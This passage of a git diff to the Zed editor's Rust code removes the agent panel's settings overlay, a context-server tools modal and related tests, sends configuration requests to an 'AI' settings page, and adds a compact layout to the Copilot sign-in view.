-        cx.update(|window, cx| {
-            let mut model_input = ModelInput::new(0, window, cx);
-            model_input.name.update(cx, |input, cx| {
-                input.set_text("somemodel", window, cx);
-            });
-
-            let parsed_model = model_input.parse_anthropic_compatible(cx).unwrap();
-            assert_eq!(parsed_model.name, "somemodel");
-            assert_eq!(parsed_model.max_tokens, 200000);
-            assert_eq!(parsed_model.max_output_tokens, Some(32000));
-            assert!(parsed_model.capabilities.tools);
-            assert!(!parsed_model.capabilities.images);
-
-            model_input.capabilities.supports_tools = ToggleState::Unselected;
-            model_input.capabilities.supports_images = ToggleState::Selected;
-
-            let parsed_model = model_input.parse_anthropic_compatible(cx).unwrap();
-            assert!(!parsed_model.capabilities.tools);
-            assert!(parsed_model.capabilities.images);
-        });
-    }
-
-    async fn setup_test(cx: &mut TestAppContext) -> &mut VisualTestContext {
-        cx.update(|cx| {
-            let store = SettingsStore::test(cx);
-            cx.set_global(store);
-            theme_settings::init(theme::LoadThemes::JustBase, cx);
-
-            language_model::init(cx);
-            editor::init(cx);
-        });
-
-        let fs = FakeFs::new(cx.executor());
-        cx.update(|cx| <dyn Fs>::set_global(fs.clone(), cx));
-        let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let _workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        cx
-    }
-
-    async fn save_provider_validation_errors(
-        provider: LlmCompatibleProvider,
-        provider_name: &str,
-        api_url: &str,
-        api_key: &str,
-        models: Vec<(&str, &str, &str, &str)>,
-        cx: &mut VisualTestContext,
-    ) -> Option<SharedString> {
-        fn set_text(input: &Entity<InputField>, text: &str, window: &mut Window, cx: &mut App) {
-            input.update(cx, |input, cx| {
-                input.set_text(text, window, cx);
-            });
-        }
-
-        let task = cx.update(|window, cx| {
-            let mut input = AddLlmProviderInput::new(provider, window, cx);
-            set_text(&input.provider_name, provider_name, window, cx);
-            set_text(&input.api_url, api_url, window, cx);
-            set_text(&input.api_key, api_key, window, cx);
-
-            for (i, (name, max_tokens, max_completion_tokens, max_output_tokens)) in
-                models.iter().enumerate()
-            {
-                if i >= input.models.len() {
-                    input.models.push(ModelInput::new(i, window, cx));
-                }
-                let model = &mut input.models[i];
-                set_text(&model.name, name, window, cx);
-                set_text(&model.max_tokens, max_tokens, window, cx);
-                set_text(
-                    &model.max_completion_tokens,
-                    max_completion_tokens,
-                    window,
-                    cx,
-                );
-                set_text(&model.max_output_tokens, max_output_tokens, window, cx);
-            }
-            save_provider_to_settings(provider, &input, cx)
-        });
-
-        task.await.err()
-    }
-}
diff --git a/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs b/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
index 5ceb13d594c84e..843a35068be21d 100644
--- a/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
+++ b/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
@@ -3,6 +3,7 @@ use collections::HashMap;
 use context_server::{ContextServerCommand, ContextServerId};
 use editor::{Editor, EditorElement, EditorStyle};
 
+use extension_host::ExtensionStore;
 use gpui::{
     AsyncWindowContext, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, ScrollHandle,
     Subscription, Task, TaskExt, TextStyle, TextStyleRefinement, UnderlineStyle, WeakEntity,
@@ -402,7 +403,12 @@ fn resolve_context_server_extension(
         return Task::ready(None);
     };
 
-    let extension = crate::agent_configuration::resolve_extension_for_context_server(&id, cx);
+    let extension = ExtensionStore::global(cx)
+        .read(cx)
+        .installed_extensions()
+        .iter()
+        .find(|(_, entry)| entry.manifest.context_servers.contains_key(&id.0))
+        .map(|(id, entry)| (id.clone(), entry.manifest.clone()));
     cx.spawn(async move |cx| {
         let installation = descriptor
             .configuration(worktree_store, cx)
diff --git a/crates/agent_ui/src/agent_configuration/configure_context_server_tools_modal.rs b/crates/agent_ui/src/agent_configuration/configure_context_server_tools_modal.rs
deleted file mode 100644
index 5115e2f70c0ae8..00000000000000
--- a/crates/agent_ui/src/agent_configuration/configure_context_server_tools_modal.rs
+++ /dev/null
@@ -1,175 +0,0 @@
-use agent::ContextServerRegistry;
-use collections::HashMap;
-use context_server::ContextServerId;
-use gpui::{
-    DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, ScrollHandle, Window, prelude::*,
-};
-use ui::{Divider, DividerColor, Modal, ModalHeader, WithScrollbar, prelude::*};
-use workspace::{ModalView, Workspace};
-
-pub struct ConfigureContextServerToolsModal {
-    context_server_id: ContextServerId,
-    context_server_registry: Entity<ContextServerRegistry>,
-    focus_handle: FocusHandle,
-    expanded_tools: HashMap<SharedString, bool>,
-    scroll_handle: ScrollHandle,
-}
-
-impl ConfigureContextServerToolsModal {
-    fn new(
-        context_server_id: ContextServerId,
-        context_server_registry: Entity<ContextServerRegistry>,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        Self {
-            context_server_id,
-            context_server_registry,
-            focus_handle: cx.focus_handle(),
-            expanded_tools: HashMap::default(),
-            scroll_handle: ScrollHandle::new(),
-        }
-    }
-
-    pub fn toggle(
-        context_server_id: ContextServerId,
-        context_server_registry: Entity<ContextServerRegistry>,
-        workspace: &mut Workspace,
-        window: &mut Window,
-        cx: &mut Context<Workspace>,
-    ) {
-        workspace.toggle_modal(window, cx, |window, cx| {
-            Self::new(context_server_id, context_server_registry, window, cx)
-        });
-    }
-
-    fn cancel(&mut self, _: &menu::Cancel, _: &mut Window, cx: &mut Context<Self>) {
-        cx.emit(DismissEvent)
-    }
-
-    fn render_modal_content(
-        &self,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement {
-        let tools = self
-            .context_server_registry
-            .read(cx)
-            .tools_for_server(&self.context_server_id)
-            .collect::<Vec<_>>();
-
-        div()
-            .size_full()
-            .pb_2()
-            .child(
-                v_flex()
-                    .id("modal_content")
-                    .px_2()
-                    .gap_1()
-                    .max_h_128()
-                    .overflow_y_scroll()
-                    .track_scroll(&self.scroll_handle)
-                    .children(tools.iter().enumerate().flat_map(|(index, tool)| {
-                        let tool_name = tool.name();
-                        let is_expanded = self
-                            .expanded_tools
-                            .get(tool_name.as_ref())
-                            .copied()
-                            .unwrap_or(false);
-
-                        let icon = if is_expanded {
-                            IconName::ChevronUp
-                        } else {
-                            IconName::ChevronDown
-                        };
-
-                        let mut items = vec![
-                            v_flex()
-                                .child(
-                                    h_flex()
-                                        .id(format!("tool-header-{}", index))
-                                        .py_1()
-                                        .pl_1()
-                                        .pr_2()
-                                        .w_full()
-                                        .justify_between()
-                                        .rounded_sm()
-                                        .hover(|s| s.bg(cx.theme().colors().element_hover))
-                                        .child(
-                                            Label::new(tool_name.clone())
-                                                .buffer_font(cx)
-                                                .size(LabelSize::Small),
-                                        )
-                                        .child(
-                                            Icon::new(icon)
-                                                .size(IconSize::Small)
-                                                .color(Color::Muted),
-                                        )
-                                        .on_click(cx.listener({
-                                            move |this, _event, _window, _cx| {
-                                                let current = this
-                                                    .expanded_tools
-                                                    .get(tool_name.as_ref())
-                                                    .copied()
-                                                    .unwrap_or(false);
-                                                this.expanded_tools
-                                                    .insert(tool_name.clone(), !current);
-                                                _cx.notify();
-                                            }
-                                        })),
-                                )
-                                .when(is_expanded, |this| {
-                                    this.child(
-                                        Label::new(tool.description()).color(Color::Muted).mx_1(),
-                                    )
-                                })
-                                .into_any_element(),
-                        ];
-
-                        if index < tools.len() - 1 {
-                            items.push(
-                                h_flex()
-                                    .w_full()
-                                    .child(Divider::horizontal().color(DividerColor::BorderVariant))
-                                    .into_any_element(),
-                            );
-                        }
-
-                        items
-                    })),
-            )
-            .vertical_scrollbar_for(&self.scroll_handle, window, cx)
-            .into_any_element()
-    }
-}
-
-impl ModalView for ConfigureContextServerToolsModal {}
-
-impl Focusable for ConfigureContextServerToolsModal {
-    fn focus_handle(&self, _cx: &App) -> FocusHandle {
-        self.focus_handle.clone()
-    }
-}
-
-impl EventEmitter<DismissEvent> for ConfigureContextServerToolsModal {}
-
-impl Render for ConfigureContextServerToolsModal {
-    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        div()
-            .key_context("ContextServerToolsModal")
-            .occlude()
-            .elevation_3(cx)
-            .w(rems(34.))
-            .on_action(cx.listener(Self::cancel))
-            .track_focus(&self.focus_handle)
-            .child(
-                Modal::new("configure-context-server-tools", None::<ScrollHandle>)
-                    .header(
-                        ModalHeader::new()
-                            .headline(format!("Tools from {}", self.context_server_id.0))
-                            .show_dismiss_button(true),
-                    )
-                    .child(self.render_modal_content(window, cx)),
-            )
-    }
-}
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 6d608958e65ab1..01b380044acfee 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -20,7 +20,6 @@ use db::kvp::{Dismissable, KeyValueStore};
 use itertools::Itertools;
 use project::{AgentId, ProjectItem};
 use serde::{Deserialize, Serialize};
-use settings::{LanguageModelProviderSetting, LanguageModelSelection};
 
 use zed_actions::{
     DecreaseBufferFontSize, IncreaseBufferFontSize, ResetBufferFontSize,
@@ -49,7 +48,6 @@ use crate::{
     LoadThreadFromClipboard, NewTerminalThread, NewThread, OpenActiveThreadAsMarkdown,
     OpenAgentDiff, ResetFastModeWarnings, ResetTrialEndUpsell, ResetTrialUpsell,
     ShowAllSidebarThreadMetadata, ShowThreadMetadata, ToggleNewThreadMenu, ToggleOptionsMenu,
-    agent_configuration::{AgentConfiguration, AssistantConfigurationEvent},
     conversation_view::{
         AcpThreadViewEvent, RootThreadUpdated, ThreadView, reset_fast_mode_warnings,
     },
@@ -70,9 +68,7 @@ use cloud_api_types::Plan;
 use collections::HashMap;
 use editor::{Editor, MultiBuffer};
 use extension_host::ExtensionStore;
-use feature_flags::{
-    AgentSettingsUiFeatureFlag, CreateThreadToolFeatureFlag, FeatureFlagAppExt as _,
-};
+use feature_flags::{CreateThreadToolFeatureFlag, FeatureFlagAppExt as _};
 
 use fs::Fs;
 use futures::FutureExt as _;
@@ -1124,15 +1120,10 @@ impl From<AgentThread> for BaseView {
     }
 }
 
-enum OverlayView {
-    Configuration,
-}
-
 enum VisibleSurface<'a> {
     Uninitialized,
     AgentThread(&'a Entity<ConversationView>),
     Terminal(&'a Entity<TerminalView>),
-    Configuration(Option<&'a Entity<AgentConfiguration>>),
 }
 
 enum WhichFontSize {
@@ -1149,14 +1140,6 @@ impl BaseView {
     }
 }
 
-impl OverlayView {
-    pub fn which_font_size_used(&self) -> WhichFontSize {
-        match self {
-            OverlayView::Configuration => WhichFontSize::None,
-        }
-    }
-}
-
 pub struct AgentPanel {
     workspace: WeakEntity<Workspace>,
     /// Workspace id is used as a database key
@@ -1168,12 +1151,9 @@ pub struct AgentPanel {
     thread_store: Entity<ThreadStore>,
     connection_store: Entity<AgentConnectionStore>,
     context_server_registry: Entity<ContextServerRegistry>,
-    configuration: Option<Entity<AgentConfiguration>>,
-    configuration_subscription: Option<Subscription>,
     focus_handle: FocusHandle,
     base_view: BaseView,
     last_created_entry_kind: AgentPanelEntryKind,
-    overlay_view: Option<OverlayView>,
     draft_thread: Option<Entity<ConversationView>>,
     retained_threads: HashMap<ThreadId, Entity<ConversationView>>,
     terminals: HashMap<TerminalId, AgentTerminal>,
@@ -1568,15 +1548,12 @@ impl AgentPanel {
             workspace_id,
             base_view,
             last_created_entry_kind: AgentPanelEntryKind::Thread,
-            overlay_view: None,
             workspace,
             user_store,
             project: project.clone(),
             fs: fs.clone(),
             language_registry,
             connection_store,
-            configuration: None,
-            configuration_subscription: None,
             focus_handle: cx.focus_handle(),
             context_server_registry,
             draft_thread: None,
@@ -1752,7 +1729,6 @@ impl AgentPanel {
     pub fn clear_base_view(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         let old_view = std::mem::replace(&mut self.base_view, BaseView::Uninitialized);
         self.retain_running_thread(old_view, cx);
-        self.clear_overlay_state();
         self.activate_draft(false, AgentThreadSource::AgentPanel, window, cx);
         self.serialize(cx);
         cx.emit(AgentPanelEvent::ActiveViewChanged);
@@ -2928,15 +2904,7 @@ impl AgentPanel {
         let draft = self.ensure_draft(source, window, cx);
         if let BaseView::AgentThread { conversation_view } = &self.base_view {
             if conversation_view.entity_id() == draft.entity_id() {
-                // If we're already viewing the draft as the base view but an
-                // overlay (e.g. Settings) is covering it, clear the overlay
-                // so the user actually sees the draft they asked for.
-                // Otherwise pressing "New Thread" from the Settings panel is
-                // a silent no-op because the early return below would leave
-                // the overlay on top of the draft.
-                if self.overlay_view.is_some() {
-                    self.clear_overlay(focus, window, cx);
-                } else if focus {
+                if focus {
                     self.focus_handle(cx).focus(window, cx);
                 }
                 return;
@@ -3302,7 +3270,6 @@ impl AgentPanel {
         }
 
         if self.active_thread_id(cx) == Some(id) {
-            self.clear_overlay_state();
             if activate_draft_after_remove {
                 self.activate_draft(false, AgentThreadSource::AgentPanel, window, cx);
             } else {
@@ -3547,13 +3514,6 @@ impl AgentPanel {
         })
     }
 
-    pub fn go_back(&mut self, _: &workspace::GoBack, window: &mut Window, cx: &mut Context<Self>) {
-        if self.overlay_view.is_some() {
-            self.clear_overlay(true, window, cx);
-            cx.notify();
-        }
-    }
-
     pub fn toggle_options_menu(
         &mut self,
         _: &ToggleOptionsMenu,
@@ -3671,57 +3631,13 @@ impl AgentPanel {
     }
 
     pub(crate) fn open_configuration(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        // When the agent settings have been moved into the settings UI, the
-        // panel no longer shows its own configuration overlay. Instead, route to
-        // the settings UI at the LLM providers page (where the model selector's
-        // "Configure" button expects to land).
-        if cx.has_flag::<AgentSettingsUiFeatureFlag>() {
-            window.dispatch_action(
-                Box::new(zed_actions::OpenSettingsAt {
-                    path: "llm_providers".to_string(),
-                    target: None,
-                }),
-                cx,
-            );
-            return;
-        }
-
-        if matches!(self.overlay_view, Some(OverlayView::Configuration)) {
-            self.clear_overlay(true, window, cx);
-            return;
-        }
-
-        let agent_server_store = self.project.read(cx).agent_server_store().clone();
-        let context_server_store = self.project.read(cx).context_server_store();
-        let fs = self.fs.clone();
-
-        self.configuration = Some(cx.new(|cx| {
-            AgentConfiguration::new(
-                fs,
-                agent_server_store,
-                self.connection_store.clone(),
-                context_server_store,
-                self.context_server_registry.clone(),
-                self.language_registry.clone(),
-                self.workspace.clone(),
-                window,
-                cx,
-            )
-        }));
-
-        if let Some(configuration) = self.configuration.as_ref() {
-            self.configuration_subscription = Some(cx.subscribe_in(
-                configuration,
-                window,
-                Self::handle_agent_configuration_event,
-            ));
-        }
-
-        self.set_overlay(OverlayView::Configuration, true, window, cx);
-
-        if let Some(configuration) = self.configuration.as_ref() {
-            configuration.focus_handle(cx).focus(window, cx);
-        }
+        window.dispatch_action(
+            Box::new(zed_actions::OpenSettingsPage {
+                page: "AI".to_string(),
+                target: None,
+            }),
+            cx,
+        );
     }
 
     pub(crate) fn open_active_thread_as_markdown(
@@ -4004,53 +3920,6 @@ impl AgentPanel {
             .detach_and_log_err(cx);
     }
 
-    fn handle_agent_configuration_event(
-        &mut self,
-        _entity: &Entity<AgentConfiguration>,
-        event: &AssistantConfigurationEvent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        match event {
-            AssistantConfigurationEvent::NewThread(provider) => {
-                if LanguageModelRegistry::read_global(cx)
-                    .default_model()
-                    .is_none_or(|model| model.provider.id() != provider.id())
-                    && let Some(model) = provider.default_model(cx)
-                {
-                    update_settings_file(self.fs.clone(), cx, move |settings, _| {
-                        let provider = model.provider_id().0.to_string();
-                        let enable_thinking = model.supports_thinking();
-                        let effort = model
-                            .default_effort_level()
-                            .map(|effort| effort.value.to_string());
-                        let model = model.id().0.to_string();
-                        settings
-                            .agent
-                            .get_or_insert_default()
-                            .set_model(LanguageModelSelection {
-                                provider: LanguageModelProviderSetting(provider),
-                                model,
-                                enable_thinking,
-                                effort,
-                                speed: None,
-                            })
-                    });
-                }
-
-                self.activate_new_thread(true, AgentThreadSource::AgentPanel, window, cx);
-                if let Some((thread, model)) = self
-                    .active_native_agent_thread(cx)
-                    .zip(provider.default_model(cx))
-                {
-                    thread.update(cx, |thread, cx| {
-                        thread.set_model(model, cx);
-                    });
-                }
-            }
-        }
-    }
-
     pub fn workspace_id(&self) -> Option<WorkspaceId> {
         self.workspace_id
     }
@@ -4283,8 +4152,6 @@ impl AgentPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        self.clear_overlay_state();
-
         let old_view = std::mem::replace(&mut self.base_view, new_view);
         self.retain_running_thread(old_view, cx);
 
@@ -4305,35 +4172,6 @@ impl AgentPanel {
         cx.emit(AgentPanelEvent::ActiveViewChanged);
     }
 
-    fn set_overlay(
-        &mut self,
-        overlay: OverlayView,
-        focus: bool,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.overlay_view = Some(overlay);
-        if focus {
-            self.focus_handle(cx).focus(window, cx);
-        }
-        cx.emit(AgentPanelEvent::ActiveViewChanged);
-    }
-
-    fn clear_overlay(&mut self, focus: bool, window: &mut Window, cx: &mut Context<Self>) {
-        self.clear_overlay_state();
-
-        if focus {
-            self.focus_handle(cx).focus(window, cx);
-        }
-        cx.emit(AgentPanelEvent::ActiveViewChanged);
-    }
-
-    fn clear_overlay_state(&mut self) {
-        self.overlay_view = None;
-        self.configuration_subscription = None;
-        self.configuration = None;
-    }
-
     fn refresh_base_view_subscriptions(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         self._base_view_observation = match &self.base_view {
             BaseView::AgentThread { conversation_view } => {
@@ -4386,14 +4224,6 @@ impl AgentPanel {
     }
 
     fn visible_surface(&self) -> VisibleSurface<'_> {
-        if let Some(overlay_view) = &self.overlay_view {
-            return match overlay_view {
-                OverlayView::Configuration => {
-                    VisibleSurface::Configuration(self.configuration.as_ref())
-                }
-            };
-        }
-
         match &self.base_view {
             BaseView::Uninitialized => VisibleSurface::Uninitialized,
             BaseView::AgentThread { conversation_view } => {
@@ -4407,15 +4237,8 @@ impl AgentPanel {
         }
     }
 
-    fn is_overlay_open(&self) -> bool {
-        self.overlay_view.is_some()
-    }
-
     fn visible_font_size(&self) -> WhichFontSize {
-        self.overlay_view.as_ref().map_or_else(
-            || self.base_view.which_font_size_used(),
-            OverlayView::which_font_size_used,
-        )
+        self.base_view.which_font_size_used()
     }
 
     fn subscribe_to_active_thread_view(
@@ -4499,7 +4322,6 @@ impl AgentPanel {
         // Check if the active view already holds this thread.
         if let BaseView::AgentThread { conversation_view } = &self.base_view {
             if conversation_view.read(cx).thread_id == thread_id {
-                self.clear_overlay_state();
                 cx.emit(AgentPanelEvent::ActiveViewChanged);
                 return;
             }
@@ -5052,13 +4874,6 @@ impl Focusable for AgentPanel {
             VisibleSurface::Uninitialized => self.focus_handle.clone(),
             VisibleSurface::AgentThread(conversation_view) => conversation_view.focus_handle(cx),
             VisibleSurface::Terminal(terminal_view) => terminal_view.focus_handle(cx),
-            VisibleSurface::Configuration(configuration) => {
-                if let Some(configuration) = configuration {
-                    configuration.focus_handle(cx)
-                } else {
-                    self.focus_handle.clone()
-                }
-            }
         }
     }
 }
@@ -5294,10 +5109,7 @@ impl AgentPanel {
     }
 
     fn destination_has_meaningful_state(&self, cx: &App) -> bool {
-        if self.overlay_view.is_some()
-            || !self.retained_threads.is_empty()
-            || !self.terminals.is_empty()
-        {
+        if !self.retained_threads.is_empty() || !self.terminals.is_empty() {
             return true;
         }
 
@@ -5578,9 +5390,7 @@ impl AgentPanel {
                     Label::new("Terminal").into_any_element()
                 }
             }
-            VisibleSurface::Configuration(_) => {
-                Label::new("Settings").truncate().into_any_element()
-            }
+
             VisibleSurface::Uninitialized => Label::new("Agent").truncate().into_any_element(),
         };
 
@@ -5750,8 +5560,7 @@ impl AgentPanel {
                         if !showing_terminal {
                             menu = menu
                                 .header("MCP Servers")
-                                .action("Add Custom Server…", Box::new(AddContextServer::local()))
-                                .action("Add Remote Server…", Box::new(AddContextServer::remote()))
+                                .action("Add Server…", Box::new(AddContextServer::local()))
                                 .action(
                                     "Install New Servers…",
                                     Box::new(zed_actions::Extensions {
@@ -5844,21 +5653,6 @@ impl AgentPanel {
             })
     }
 
-    fn render_toolbar_back_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
-        let focus_handle = self.focus_handle(cx);
-
-        IconButton::new("go-back", IconName::ArrowLeft)
-            .icon_size(IconSize::Small)
-            .on_click(cx.listener(|this, _, window, cx| {
-                this.go_back(&workspace::GoBack, window, cx);
-            }))
-            .tooltip({
-                move |_window, cx| {
-                    Tooltip::for_action_in("Go Back", &workspace::GoBack, &focus_handle, cx)
-                }
-            })
-    }
-
     fn render_no_project_state(&self, cx: &mut Context<Self>) -> impl IntoElement {
         let focus_handle = self.focus_handle(cx);
 
@@ -6139,15 +5933,12 @@ impl AgentPanel {
         };
 
         enum ToolbarMode {
-            Overlay,
             Terminal,
             EmptyThread,
             ActiveThread,
         }
 
-        let mode = if self.is_overlay_open() {
-            ToolbarMode::Overlay
-        } else if matches!(self.base_view, BaseView::Terminal { .. }) {
+        let mode = if matches!(self.base_view, BaseView::Terminal { .. }) {
             ToolbarMode::Terminal
         } else if self.active_thread_has_messages(cx) {
             ToolbarMode::ActiveThread
@@ -6231,11 +6022,7 @@ impl AgentPanel {
                         .overflow_hidden()
                         .gap(DynamicSpacing::Base04.rems(cx))
                         .pl(DynamicSpacing::Base04.rems(cx))
-                        .child(if matches!(mode, ToolbarMode::Overlay) {
-                            self.render_toolbar_back_button(cx).into_any_element()
-                        } else {
-                            selected_agent.into_any_element()
-                        })
+                        .child(selected_agent.into_any_element())
                         .child(match empty_thread_title {
                             Some(title) => title,
                             None => self.render_title_view(window, cx),
@@ -6574,7 +6361,6 @@ impl Render for AgentPanel {
             }))
             .on_action(cx.listener(Self::open_active_thread_as_markdown))
             .on_action(cx.listener(Self::manage_skills))
-            .on_action(cx.listener(Self::go_back))
             .on_action(cx.listener(Self::toggle_options_menu))
             .on_action(cx.listener(Self::increase_font_size))
             .on_action(cx.listener(Self::decrease_font_size))
@@ -6607,9 +6393,6 @@ impl Render for AgentPanel {
                 VisibleSurface::Terminal(terminal_view) => parent
                     .child(terminal_view.clone())
                     .child(self.render_drag_target(cx)),
-                VisibleSurface::Configuration(configuration) => {
-                    parent.children(configuration.cloned())
-                }
             })
             .children(self.render_trial_end_upsell(window, cx));
 
@@ -9537,63 +9320,6 @@ mod tests {
         });
     }
 
-    #[gpui::test]
-    async fn test_new_thread_dismisses_settings_overlay(cx: &mut TestAppContext) {
-        let (panel, mut cx) = setup_panel(cx).await;
-
-        // Put the panel on its ephemeral new-draft view so the base view
-        // already contains the draft that `NewThread` would activate.
-        panel.update_in(&mut cx, |panel, window, cx| {
-            panel.activate_new_thread(true, AgentThreadSource::AgentPanel, window, cx);
-        });
-        cx.run_until_parked();
-
-        panel.read_with(&cx, |panel, cx| {
-            assert!(
-                panel.active_view_is_new_draft(cx),
-                "precondition: base view should be the ephemeral draft"
-            );
-            assert!(!panel.is_overlay_open());
-        });
-
-        // Simulate the Settings overlay being open on top of the draft.
-        // We don't go through `open_configuration` here because it would
-        // build provider configuration views, which call into
-        // `LanguageModelProvider::configuration_view` — unimplemented for
-        // the fake provider used in tests. The bug being exercised lives
-        // entirely in the overlay/base-view bookkeeping, so toggling the
-        // overlay flag directly is sufficient.
-        panel.update_in(&mut cx, |panel, window, cx| {
-            panel.set_overlay(OverlayView::Configuration, true, window, cx);
-        });
-        cx.run_until_parked();
-
-        panel.read_with(&cx, |panel, _cx| {
-            assert!(
-                panel.is_overlay_open(),
-                "precondition: Settings overlay should be open"
-            );
-        });
-
-        // Dispatching `NewThread` while Settings is open must dismiss the
-        // overlay so the user actually sees the new thread. Previously
-        // this was a silent no-op: `activate_draft` early-returned without
-        // clearing the overlay because the base view already held the
-        // draft.
-        panel.update_in(&mut cx, |panel, window, cx| {
-            panel.new_thread(&NewThread, window, cx);
-        });
-        cx.run_until_parked();
-
-        panel.read_with(&cx, |panel, cx| {
-            assert!(
-                !panel.is_overlay_open(),
-                "Settings overlay should be dismissed when invoking NewThread"
-            );
-            assert!(panel.active_view_is_new_draft(cx));
-        });
-    }
-
     #[gpui::test]
     async fn test_terminal_title_omits_placeholder_title(cx: &mut TestAppContext) {
         let (panel, mut cx) = setup_panel(cx).await;
@@ -10273,62 +9999,6 @@ mod tests {
         );
     }
 
-    #[gpui::test]
-    async fn test_terminal_bell_notifies_when_configuration_overlay_covers_terminal(
-        cx: &mut TestAppContext,
-    ) {
-        let (panel, mut cx) = setup_visible_panel(cx).await;
-        let terminal_id = panel
-            .update_in(&mut cx, |panel, window, cx| {
-                panel.insert_test_terminal("Claude", true, window, cx)
-            })
-            .expect("test terminal should be inserted");
-        cx.run_until_parked();
-
-        panel.update_in(&mut cx, |panel, window, cx| {
-            panel.set_overlay(OverlayView::Configuration, true, window, cx);
-        });
-        panel.update(&mut cx, |panel, cx| {
-            panel.emit_test_terminal_bell(terminal_id, cx);
-        });
-        cx.run_until_parked();
-
-        panel.read_with(&cx, |panel, cx| {
-            let terminal = panel
-                .terminals(cx)
-                .into_iter()
-                .find(|terminal| terminal.id == terminal_id)
-                .expect("terminal should remain in the panel");
-            assert!(terminal.has_notification);
-        });
-        cx.windows()
-            .iter()
-            .find_map(|window| window.downcast::<AgentNotification>())
-            .expect("covered terminal bell should show a notification");
-    }
-
-    #[gpui::test]
-    async fn test_thread_notification_shows_when_configuration_overlay_covers_thread(
-        cx: &mut TestAppContext,
-    ) {
-        let (panel, mut cx) = setup_visible_panel(cx).await;
-        let connection = StubAgentConnection::new();
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-            acp::ContentChunk::new("Default response".into()),
-        )]);
-        open_thread_with_connection(&panel, connection, &mut cx);
-
-        panel.update_in(&mut cx, |panel, window, cx| {
-            panel.set_overlay(OverlayView::Configuration, true, window, cx);
-        });
-        send_message(&panel, &mut cx);
-
-        cx.windows()
-            .iter()
-            .find_map(|window| window.downcast::<AgentNotification>())
-            .expect("covered thread should show a notification");
-    }
-
     #[gpui::test]
     async fn test_terminal_bell_marks_without_popup_when_sidebar_open(cx: &mut TestAppContext) {
         let (panel, mut cx) = setup_visible_panel(cx).await;
diff --git a/crates/copilot_ui/src/sign_in.rs b/crates/copilot_ui/src/sign_in.rs
index 28f8b25e0f11d0..4eb73b6d82e759 100644
--- a/crates/copilot_ui/src/sign_in.rs
+++ b/crates/copilot_ui/src/sign_in.rs
@@ -466,6 +466,10 @@ pub struct ConfigurationView {
     copilot_status: Option<Status>,
     is_authenticated: Box<dyn Fn(&mut App) -> bool + 'static>,
     edit_prediction: bool,
+    /// When `true`, renders a compact control suitable for an inline settings
+    /// row: no explanatory labels (those live in the row's left column) and
+    /// content-sized buttons instead of full-width ones.
+    compact: bool,
     _subscription: Option<Subscription>,
 }
 
@@ -487,6 +491,7 @@ impl ConfigurationView {
             copilot_status: copilot.as_ref().map(|copilot| copilot.0.read(cx).status()),
             is_authenticated: Box::new(is_authenticated),
             edit_prediction: matches!(mode, ConfigurationMode::EditPrediction),
+            compact: false,
             _subscription: copilot.as_ref().map(|copilot| {
                 cx.observe(&copilot.0, |this, model, cx| {
                     this.copilot_status = Some(model.read(cx).status());
@@ -495,6 +500,14 @@ impl ConfigurationView {
             }),
         }
     }
+
+    /// Renders the view compactly for an inline settings row (no labels,
+    /// content-sized buttons). The explanatory copy is expected to be shown
+    /// elsewhere (e.g. the row's left column).
+    pub fn compact(mut self) -> Self {
+        self.compact = true;
+        self
+    }
 }
 
 impl ConfigurationView {
@@ -536,34 +549,34 @@ impl ConfigurationView {
         edit_prediction: bool,
     ) -> impl IntoElement {
         Button::new("loading_button", label)
-            .full_width()
+            .map(|this| {
+                if edit_prediction || self.compact {
+                    this.size(ButtonSize::Medium)
+                } else {
+                    this.full_width()
+                }
+            })
             .disabled(true)
             .loading(true)
             .style(ButtonStyle::Outlined)
-            .when(edit_prediction, |this| this.size(ButtonSize::Medium))
     }
 
     fn render_sign_in_button(&self, edit_prediction: bool) -> impl IntoElement {
         let label = if edit_prediction {
             "Sign in to GitHub"
         } else {
-            "Sign in to use GitHub Copilot"
+            "Sign In"
         };
 
         Button::new("sign_in", label)
             .map(|this| {
-                if edit_prediction {
+                if edit_prediction || self.compact {
                     this.size(ButtonSize::Medium)
                 } else {
                     this.full_width()
                 }
             })
             .style(ButtonStyle::Outlined)
-            .start_icon(
-                Icon::new(IconName::Github)
-                    .size(IconSize::Small)
-                    .color(Color::Muted),
-            )
             .when(edit_prediction, |this| this.tab_index(0isize))
             .on_click(|_, window, cx| {
                 let app_state = AppState::global(cx);
@@ -582,7 +595,7 @@ impl ConfigurationView {
 
         Button::new("reinstall_and_sign_in", label)
             .map(|this| {
-                if edit_prediction {
+                if edit_prediction || self.compact {
                     this.size(ButtonSize::Medium)
                 } else {
                     this.full_width()
@@ -656,31 +669,32 @@ impl ConfigurationView {
         let start_label = "To use Zed's agent with GitHub Copilot, you need to be logged in to GitHub. Note that your GitHub account must have an active Copilot Chat subscription.";
         let no_status_label = "Copilot Chat requires an active GitHub Copilot subscription. Please ensure Copilot is configured and try again, or use a different LLM provider.";
 
-        if let Some(msg) = self.loading_message() {
-            v_flex()
-                .gap_2()
-                .child(Label::new(start_label))
-                .child(self.render_loading_button(msg, false))
-                .into_any_element()
+        let (label, button) = if let Some(msg) = self.loading_message() {
+            (
+                start_label,
+                self.render_loading_button(msg, false).into_any_element(),
+            )
         } else if self.is_error() {
-            v_flex()
-                .gap_2()
